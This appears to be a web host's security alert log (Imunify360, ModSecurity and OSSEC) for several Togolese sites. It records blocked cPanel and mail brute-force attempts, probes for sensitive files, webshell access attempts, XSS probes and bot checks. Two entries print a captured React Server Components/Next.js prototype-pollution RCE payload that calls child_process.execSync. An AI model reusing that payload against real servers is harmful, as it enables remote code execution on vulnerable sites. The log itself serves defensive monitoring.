43.172.194.157 - - [27/Jun/2026:06:43:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6447507&pdata=https%253A%252F%252F24heureinfo.tg%252Fsociete%252Ftogo-deces-accidentel-du-colonel-bataba-gandah-soklema&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782542583 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/societe/togo-deces-accidentel-du-colonel-bataba-gandah-soklema" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.194.157


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.181.152
country_id: 1880251
description:
43.173.181.152 - - [27/Jun/2026:06:42:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10314951&pdata=https%253A%252F%252F24heureinfo.tg%252Fa-la-une%252Fle-togo-va-payer-ses-dettes-le-26-juillet%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782542538 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/a-la-une/le-togo-va-payer-ses-dettes-le-26-juillet/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.181.152


plugin: modsec
rule: 77093094
abuser: 44.199.218.234
country_id: 6252001
domain: flp-tg.com
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\": \"$1:__proto__:then\", \"status\": \"resolved_model\", \"reason\": -1, \"value\": \"{\\\"then\\\":\\\"$B1337\\\"}\", \"_response\": {\"_prefix\": \"var res=process.mainModule.require('child_process').execSync('echo $((41*271)) | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\", \"_chunks\": \"$Q2\", \"_formData\": {\"get\": \"$1:constructor:constructor\"}}}||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 44.199.218.234
country_id: 6252001
domain: flp-tg.com
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:qgqjistz||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 44.199.218.234
country_id: 6252001
domain: flp-tg.com
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.21||T:APACHE||MV:phpinfo.php~||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.244.155.84
country_id: 99237
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/605f5f HTTP/1.1||RSV:8.21||T:APACHE||


plugin: enhanced_dos
rule: enhanced_dos
name: Enhanced DoS detection
abuser: 3.239.152.12
country_id: 6252001
description:
Denial of Service (DoS) attack was discovered from 3.239.152.12: 80 connections per 30 seconds to 53 port.


plugin: modsec
rule: 77134464
name: IM360 WAF: Infectors: PHP Injection High-Risk PHP Function
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
IM360 WAF: Infectors: PHP Injection High-Risk PHP Function||RSV:8.21||T:APACHE||SC:/home/myxlsnta/public_html/public/assets/admin/css/bootstrap-dagl.php||


plugin: modsec
rule: 77140881
name: IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
IM360 WAF: Infectors: Arbitrary code execution vulnerability in Request URI||RSV:8.21||T:APACHE||SC:/home/myxlsnta/public_html/public/assets/admin/css/bootstrap-dagl.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 129.222.147.243
country_id: 192950
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/1155098744 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.119.140.134
country_id: 2542007
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/915304094 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77093094
abuser: 210.94.229.147
country_id: 1835841
domain: ameak.co
description:
IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo $((41*271))').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.177.54
country_id: 1880251
description:
43.173.177.54 - - [27/Jun/2026:06:52:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7181727&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Furl%253Dhttps%25253A%25252F%25252F24heureinfo.tg%25252Fmedias%25252Fisidore-akollor-succede-a-carlos-ketohou-a-la-tete-du-ppt%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782543137 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/oembed/1.0/embed?url=https%3A%2F%2F24heureinfo.tg%2Fmedias%2Fisidore-akollor-succede-a-carlos-ketohou-a-la-tete-du-ppt%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.177.54


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.80.71.29
country_id: 1814991
description:
52.80.71.29 - - [27/Jun/2026:06:53:56 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10131608&pdata=https%253A%252F%252Fwww.wellcity.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782543234 HTTP/2.0" 302 0 www.wellcity.tg "https://www.wellcity.tg/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.3740.1889 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.80.71.29


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.132.106.239
country_id: 6252001
description:
[2026-06-27 06:55:11 +0000] info [cpaneld] 68.132.106.239 - cafei "GET /login/?login_only=1&user=cafei&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafei (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 06:54:45 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 103.164.183.114
country_id: 1831722
domain: dagl.tg
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.21||T:APACHE||MV:/storage/uploads/pages/images.php||SC:/home/myxlsnta/public_html/storage/uploads||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.36.254.106
country_id: 6252001
description:
[2026-06-27 06:55:01 +0000] info [cpaneld] 100.36.254.106 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.131.46.61
country_id: 2017370
domain: direct7.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:06-55.45.131.46.61||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.52.7
country_id: 6252001
description:
[2026-06-27 06:55:17 +0000] info [cpaneld] 172.58.52.7 - ca "GET /login/?login_only=1&user=ca&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ca (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.23.28.199
country_id: 3865483
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/1483723144 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.42.171.83
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/263737184 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.14
country_id: 6252001
description:
205.169.39.14 - - [27/Jun/2026:06:56:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262934&pdata=http%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782543379 HTTP/1.1" 302 0 kpmg.tg "http://kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.14


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.226.34.8
country_id: 2510769
description:
Jun 27 06:57:09 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.226.34.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.226.34.8
country_id: 2510769
description:
Jun 27 06:57:15 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.226.34.8 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.195.252
country_id: 1880251
description:
43.172.195.252 - - [27/Jun/2026:06:59:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9793175&pdata=http%253A%252F%252Fcafe.tg%252Flintelligence-artificielle-pronostiquer-sport%252F%253Fshare%253Dtwitter&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782543549 HTTP/1.1" 404 561 cafe.tg "http://cafe.tg/lintelligence-artificielle-pronostiquer-sport/?share=twitter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.195.252


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.29.198.42
country_id: 6252001
description:
[2026-06-27 06:59:47 +0000] info [whostmgrd] 24.29.198.42 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.210.101.10
country_id: 6252001
description:
[2026-06-27 06:59:50 +0000] info [cpaneld] 98.210.101.10 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 98.28.97.28
country_id: 6252001
description:
[2026-06-27 06:59:55 +0000] info [whostmgrd] 98.28.97.28 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.17.238.194
country_id: 6252001
description:
[2026-06-27 06:59:52 +0000] info [whostmgrd] 100.17.238.194 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.109.0.14
country_id: 1269750
domain: kloto1.mairie.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:oviaiart||


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 3.109.0.14
country_id: 1269750
domain: kloto1.mairie.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.21||T:APACHE||MV:.env.swp||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.197.43.27
country_id: 3703430
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/1816711992 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 3.109.0.14
country_id: 1269750
domain: kloto1.mairie.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/phpinfo.php.bak||User:oviaiart||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.14
country_id: 1880251
description:
47.128.121.14 - - [27/Jun/2026:07:05:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934794&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fplonge%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782543957 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/plonge/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.14


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.5.129.68
country_id: 3017382
description:
2026-06-27 07:06:45 dovecot_plain authenticator failed for H=68.129.5.84.rev.sfr.net (ammus) [84.5.129.68]:1621: 535 Incorrect authentication data (set_id=support@cameg-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.143.188.17
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/609041474 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.169
country_id: 1880251
description:
47.128.121.169 - - [27/Jun/2026:07:09:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12831173&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fcovid-19-hausse-des-cas-togo%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782544141 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/covid-19-hausse-des-cas-togo/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.169


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 221.219.96.146
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/1076088808 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 27.115.124.38
country_id: 1814991
description:
27.115.124.38 - - [27/Jun/2026:07:10:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10144411&pdata=https%253A%252F%252Flacs1.mairie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782544215 HTTP/2.0" 302 0 lacs1.mairie.tg "https://lacs1.mairie.tg/" "Mozilla/5.0 (Linux; Android 11; CPH2185) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:27.115.124.38


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.107.228.195
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/836e5f HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 106.114.99.165
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/1261557109 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 47.130.152.98
country_id: 1880251
domain: www.flp-tg.com
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.swp||User:qgqjistz||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.82.76.35
country_id: 1819730
description:
2026-06-27 07:13:17 dovecot_plain authenticator failed for H=(22341atagpk1myno5a9py07bq) [47.82.76.35]:50810: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-27 07:13:23 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:49344: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 112.7.43.249
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/a1cfc1 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 68.193.246.139
country_id: 6252001
description:
[2026-06-27 07:15:07 +0000] info [cpaneld] 68.193.246.139 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.59.243.154
country_id: 6252001
description:
[2026-06-27 07:15:10 +0000] info [cpaneld] 172.59.243.154 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.45.111.85
country_id: 6252001
description:
[2026-06-27 07:15:25 +0000] info [cpaneld] 96.45.111.85 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.122.185.236
country_id: 6252001
description:
[2026-06-27 07:15:28 +0000] info [cpaneld] 73.122.185.236 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 74.129.19.138
country_id: 6252001
description:
[2026-06-27 07:15:23 +0000] info [cpaneld] 74.129.19.138 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 102.64.152.82
country_id: 2363686
description:
102.64.152.82 - - [27/Jun/2026:07:16:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10471062&pdata=https%253A%252F%252Frelanceinfo.tg%252F%253Fp%253D2082&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782544579 HTTP/2.0" 302 0 relanceinfo.tg "https://relanceinfo.tg/?p=2082" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/30.0 Chrome/143.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:102.64.152.82


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 43.172.196.169
country_id: 1880251
domain: soena.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/shop/telephones-2/infinix/infinix-hot-6-pro-dual-sim/?add-to-cart=2345||QS:add-to-cart=2345||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 117.39.44.121
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/767c87 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.206.35.250
country_id: 2542007
description:
2026-06-27 07:20:28 dovecot_plain authenticator failed for H=adsl196-250-35-206-196.adsl196-2.iam.net.ma (hjwcv40s0sss9tas20hssolhqqmyi) [196.206.35.250]:57643: 535 Incorrect authentication data (set_id=info@keedyfarms.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 07:22:23 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:56718: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77350947
name: IM360 WAF: Suspicious scrapping User-Agent
abuser: 31.98.26.4
country_id: 3017382
domain: cloud-et-racks.tg
description:
IM360 WAF: Suspicious scrapping User-Agent||MV:curl Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.161.55.5
country_id: 3608932
description:
Jun 27 07:25:23 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.161.55.5 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.162.200.34
country_id: 130758
description:
2026-06-27 07:29:05 dovecot_plain authenticator failed for H=(belly) [109.162.200.34]:54014: 535 Incorrect authentication data (set_id=admin@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-27 07:29:48 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:47592: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.80.1.46
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/245768239 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 36.157.232.112
country_id: 1814991
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/tag/municipales-2025/page/1955182794 HTTP/1.1||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 43.138.107.158
country_id: 1814991
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/togo-faure-gnassingbe-choisit-le-general-yark-damehame/<script async src=||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 07:35:24 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 103.164.183.114
country_id: 1831722
domain: www.dagl.tg
description:
IM360 WAF: Possible XSS in arguments||MV:\r\n<!doctype html>\r\n<html lang=\"fr\">\r\n\r\n<head>\r\n        \r\n    <!-- google tag (gtag.js) -->\r\n    <script async src=\"https://www.googletagmanager.com/gtag/js?id=g-3wnxzhzkn2\"></script>\r\n    <script>\r\n      window.datalayer = window.datalayer || [];\r\n      function gtag(){datalayer.push(arguments);}\r\n      gtag('js', new date());\r\n    \r\n      gtag('config', 'g-3wnxzhzkn2');\r\n    </script>\r\n\r\n\r\n    <script type='text/javascript' src='https://platform-api.sharethis.com/js/sharethis.js#property=5fb31e71413ed100120cdaec&product=sop' async='async'></script>\r\n\r\n    <meta charset=\"utf-8\">\r\n    <meta http-equiv=\"x-ua-compatible\" content=\"ie=edge\">\r\n    <title>dagl |  contactez-nous </title>\r\n    <meta name=\"description\" content=\" le district autonome du grand lom\xc3\xa9 est une entit\xc3\xa9 territoriale particuli\xc3\xa8re dot\xc3\xa9e de la personnalit\xc3\xa9 morale et de l\xe2\x80\x99autonomie financi\xc3\xa8re. il est l\xe2\x80\x99autorit\xc3\xa9 locale repr\xc3\xa9sentant la ville de lom\xc3\xa9 dans son ensemble. \">\r\n    <meta name=\"author\" content=\"agbonon kankoe yaovi\">\r\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\r\n    <meta name=\"mobile-web-app-capable\" content=\"yes\">\r\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\r\n    <meta name=\"apple-mobile-web-app-title\" content=\"district autonome du grand lom\xc3\xa9\">\r\n    <meta name=\"msapplication-tileimage\" content=\"https://dagl.tg/public/assets/front/imgs/favicon.png\" />\r\n    <meta name=\"keywords\" content=\"dagl, grand, lom\xc3\xa9, togo, district, autonome, mairie, commune\">\r\n\r\n    <link rel=\"icon\" href=\"https://dagl.tg/public/assets/front/imgs/favicon.png\">\r\n    <link rel=\"apple-touch-icon\" href=\"https://dagl.tg/public/assets/front/imgs/favicon.png\" />\r\n\r\n\r\n        <script src=\"https://www.google.com/recaptcha/api.js\" async defer></script>\r\n    <meta property=\"og:title\" content=\"contactez-nous\"/>\r\n    <meta property=\"og:url\" content=\"https://dagl.tg/contact\" />\r\n    <meta property=\"og:type\" content=\"blog\" />\r\n    <meta property=\"og:description\" content=\"le district autonome du grand lom\xc3\xa9 est une entit\xc3\xa9 territoriale particuli\xc3\xa8re dot\xc3\xa9e de la personnalit\xc3\xa9 morale et de l\xe2\x80\x99autonomie financi\xc3\xa8re. il est l\xe2\x80\x99autorit\xc3\xa9 locale repr\xc3\xa9sentant la ville de lom\xc3\xa9 dans son ensemble.\" />\r\n    <meta property=\"og:image\" content=\"https://dagl.tg/public/assets/front/imgs/logo.png\" />\r\n\r\n    <link href=\"https://dagl.tg/public/assets/front/plugins/lobibox/css/lobibox.min.css\" rel=\"stylesheet\">\r\n    <link rel=\"stylesheet\" href=\"https://dagl.tg/public/assets/front/css/vendor/vendor.min.css\">\r\n    <link rel=\"stylesheet\" href=\"https://dagl.tg/public/assets/front/css/plugins/plugins.min.css\">\r\n    <link rel=\"stylesheet\" href=\"https://dagl.tg/public/assets/front/css/style.min.css\">\r\n    <link rel=\"stylesheet\" href=\"https://dagl.tg/public/assets/front/css/redempteur.css\">\r\n</head>\r\n\r\n<body>\r\n\r\n\r\n\r\n\r\n<div class=\"header-area top-header\">\r\n    <div class=\"container\">\r\n        <div class=\"row\">\r\n            <div class=\"col-lg-12\">\r\n                <div class=\"header position-relative\">\r\n\r\n                    <div class=\"header__logo top-logo\">\r\n                        <a href=\"https://dagl.tg\">\r\n                            <img src=\"https://dagl.tg/public/assets/front/imgs/logo.png\" class=\"img-fluid\" alt=\"dagl\">\r\n                            <span class=\"logo-text\"><b>d</b>istrict <b>a</b>utonome<br>du <b>g</b>rand 